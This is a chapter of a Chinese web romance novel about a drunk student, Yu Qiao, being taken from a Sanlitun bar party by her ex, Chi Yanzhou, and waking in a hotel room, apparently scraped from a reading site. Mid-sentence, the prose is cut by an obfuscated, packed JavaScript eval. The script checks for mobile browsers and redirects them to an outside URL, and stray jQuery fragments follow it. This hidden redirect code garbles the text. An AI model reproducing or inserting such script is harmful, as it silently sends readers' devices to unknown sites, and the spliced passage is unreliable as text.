68.心软

作品:《但夜莺不来

    那天,郑雅婷成功拿到了池晏舟的电话。她给他发过两次信息,但对方并没有任何回应,直到期末聚会的那一次。


    煎熬的期末周终于过去,同学们唉声载道,为什么都交了学费了,还要考试。终于熬到结束,有人提议去三里屯放松一下,众人都同意。


    疫情之后的北京是一座被阉割掉情绪的城市,就连酒吧也是这样。男男女女不跳舞、不扭动,就算再带感的音乐也是捏着个酒杯装深沉,或者玩着最无聊的游戏。


    学生们最爱的便是真心话大冒险了。


    于乔不想参加,一个人躲在角落里喝闷酒,但经不住盛情邀请。第一轮便输了,她选了真心话。发问者是谢宥林,他坐在于乔旁边,挑了挑眉,问她现在的感情状况。


    前段时间,于乔的恋爱谈得人尽皆知,但最近似乎没什么动静了。谢宥林这个问题正好问出了众人所想,同学们的眼神都带着八卦的雀跃。


    于乔淡淡地笑了下,回答说,现在已单身。


    这个世界上真正关心你的人太少了,大多数都是看笑话的。但又有什么关系呢,反正都要各走各的路。


    谢宥林若有所思地看着她,突然笑了一下。他是司马昭之心,好感已经表现得很明显,但先前因为她有男朋友的缘故,还比较克制。如今得到一个确切的答案,谁都能看出他的好心情。


    去英国交换有两个名额,另一个便是谢宥林。同学们纷纷起哄,说他俩是金童玉女,以后在英国会不会更进一步发展,又问他是不是想追于乔,他没有反驳。


    同学们说,你俩应该喝一个。


    谢宥林眼光灼灼,端起酒杯看着她,说:“我还没去过国外生活过,以后多多关照了。”


    大家笑他郑重其事的样子,像是结婚誓言。


    于乔只装作没听到,兀自喝了一杯酒。酒入愁肠化作涩涩酸苦,回荡在在空空的胃里,她莫名其妙地想起很久之前,她和宋喆相亲,池晏舟一个电话将她叫走。她以为是去陪酒,举起没想到他只是叫她去吃一顿饭。


    后来多少个纸醉金迷的夜晚,灯光曳曳,琥珀琼浆,她记恨他总是带她去这种无关紧要的娱乐场合,但事实上他什么也没要求她做,哪怕是多劝一杯酒。


    遥远得好像是上辈子的事了。


    都说情场失意,赌场得意。于乔不仅失恋,玩游戏还一直输。花花绿绿的鸡尾酒,一杯接一杯地灌,很快便醉了。


    醉酒的感觉令她无法控制身体,摇摇欲坠时,身旁的人眼疾手快地扶住她。


    谢宥林将她扶到一旁的沙发上休息,推了推她的身体,但她只是皱了皱眉。


    “不舒服吗?”谢宥林弯腰递给她一杯水,关切问道。


    她摆了摆手,脑子一阵天旋地转,身体像灌满了水的海绵,眼皮一重便倒在沙发上。


    池晏舟就是这时候来的。


    他接到信息时,正陪人在吃素斋菜。对方是冯老师介绍的,说是某系统里一把手的侄女,姓赵。


    赵小姐吃素,并且像个疯狂的传.教人士,席间不断地宣扬吃素的好处,好像不把他发展成信徒不会罢休。


    池晏舟听得心不在焉,嘴角提起一丝讽刺的笑。到底是他父亲内退了,人走茶凉,如今已经沦落到和这种人相看了。


    在百无聊赖时,任何一条信息都可以把他叫走。所以当他看见一条陌生号码发来的消息时,他张口说,还有些事,要先行一步。


    “那留个电话?”赵小姐怔愣,忽然回想起自己是来相亲的。


    池晏舟说:“不必了,我不习惯吃素。”


    他自然是去三里屯的酒吧,但抱着怎么的一种心态去的,连他自己也不得而知。


    夜晚的三里屯,酒吧和KTV的音乐声轰鸣,杯子碰撞和笑声交织成夜里最后的狂欢。也不知道是不是上了岁数,觉得吵闹,他如今很不喜欢这种地方。


    尤其是看到于乔像个死尸一样半躺在沙发上,旁边还有个男人离得很近。


    郑雅婷没想到他来得这么快,她惊喜地上前,热情招呼道:“你刚刚也在附近吗?来得真快!”


    看这亢奋的架势,不知道的还以为他是为他而来。


    酒气混杂着浓郁的香水味在一米开外就喷过来,池晏舟冷着脸,侧身便往于乔那边走。


    郑雅婷紧随其后,又顾忌到同学们都在,便越过他先一步去搀着于乔的胳膊。


    “乔乔,你家地址在哪里?我们送你回去。”郑雅婷摇了摇于乔的手。


    于乔脸上泛着红光,迷迷糊糊地睁一下眼睛,目光涣散。再被一摇,像是坐过山车,脑子嗡嗡响,一阵恶心袭来。


    谢宥林本在给于乔喂水,她喝不进去,水沿着唇角流出来,他只好抓了纸巾给她擦拭。他也是没想到,她的前男友会出现在这里。


    池晏舟第一眼便厌恶这个男人。


    他其实很少这么主观,就算是以前对宋喆,也是他诋毁了于乔之后,他才会发火,但厌恶是谈不上的,因为还不配。


    但眼前这个人,池晏舟有一种本能的讨厌。也许是这个人对于乔的好感太过明显,清清楚楚地摆在脸上,装得像个坦荡的君子。但无论再装,眼神也不纯粹。


    “让开。”池晏舟说。


    他本就长得高,此时又是面无表情地居高临下,气压很是瘆人。


    谢宥林没动。


    池晏舟冷笑一下,也不等他回应,直接托着于乔的腰将她抱起来就要走。


    “她醉了,不一定愿意跟你走。”谢宥林拦住他。


    “不愿意跟我走?难道跟你玩这种小儿科的游戏吗?”池晏舟仿佛听了个笑话,往不远处扫了一眼。


    “可是你们已经分手了。”


    “那又如何?”他的面色沉下来,暗含警告之意。


    气氛僵硬,空气中只剩音乐声,众人都不说话,停止动作静静地看着。


    就在这时,于乔醒来,她完全不知道什么状况,只感到胃里一阵翻江倒海,挣扎着要下地。


    “别乱动。”池晏舟抱着这个醉鬼,低声呵斥。


    她实在不像话


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615555|156329||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,竟然任由自己喝得烂醉如泥,合着防备心就对他一个人,一点没看出有些人居心叵测。


    郑雅婷过来,扶了下于乔的身体,将凌乱的头发理了一下,对池晏舟说:“我和你一起吧,你一个人也不方便照顾她。”


    池晏舟退一步,刚想说不必,领口被骤然攥紧。怀中人抬眸望来,那双潋滟的眸光还未看清,便听见“哇”的一声——于乔吐了。


    好在她还有半分清醒,知道脸朝着外面,但温热的秽物还是免不了溅到他的身上,几滴溅在他的手背,皮肤像被烫了一下。


    池晏舟脸都黑了,他本来就是有洁癖的人,这简直是在凌迟。他条件反射地想撒手,干脆将她丢在地上,但身体反应却迟钝一拍,她又攥得紧,他没能松开。


    喝醉的于乔倒是比平时要听话,知道闯了祸,缩在他怀里一动不动,脸色煞白,大眼睛盯着他,像只受惊的鸟。


    池晏舟心软。


    郑雅婷嫌弃地后退两步,也没再说要一起送之类的话。他便继续抱着于乔,离开了这里。


    多年后,郑雅婷仍会想起那一幕——男人臂弯里的于乔安静地依偎着,平日里冷淡疏离的眉眼此刻竟透出几分乖顺。而他低垂的眸光里,却是她从未见过的温柔。两人的身影在夜色中渐渐模糊,却莫名般配得让人心头发涩。


    ……


    于乔是被一阵尖锐的痛刺醒的。


    她艰难地撑开沉重的眼皮,入眼是陌生的酒店天花板。混沌的意识尚未完全回笼,她下意识动了下身体,只觉浑身酸痛,尤其是被玻璃刺过的脚底,痛得钻心。


    她强撑着支起身子,想看看脚上的伤,却发现自己浑身赤.裸,置身于酒店的大床上。心中一紧,快速地往四周张望,落地窗外的霓虹将房间映照得忽明忽暗。


    而就在这片暧昧的光影交界处,池晏舟裹着浴袍,正懒散地在不远处的单人沙发上,双腿交叠,修长的手指随意地放在膝上。但昏暗光线中,他的面色显得格外阴沉。


    于乔第一反应竟然是松了一口气,随即又升起一丝莫名的羞愧和愤然。


    她将被子往上拉,遮住胸前,问:“你怎么在这里?”


    她的声音沙哑,喉间像烧了一把火,每一次吞咽都带着细微的刺痛。让人难免对昨晚的经历产生联想。


    池晏舟反问:“你想谁在这里?”


    于乔不想接他这话,问他:“我衣服呢?”


    池晏舟当时是看了短信,知道她喝醉了,好心去接她,但她现在眼神敌对,看他像是看一个犯罪嫌疑人,连问都不问就想直接审判。他心里憋屈,连带着上次在老宅时被她闹的那一出,他觉得荒谬得可笑:“你是觉得我还怎么着你了?”


    于乔没回答,但显然是这么想的。“你把我衣服拿哪儿去了?”


    池晏舟哼出一丝冷笑,说:“你要不去问问你同学,昨晚你龌龊的那个样子,我没那么饥不择食。”


    他这话说得实在太难听,眼神寒气森森,又夹杂着赤.裸.裸的讽刺,看得于乔背上发凉。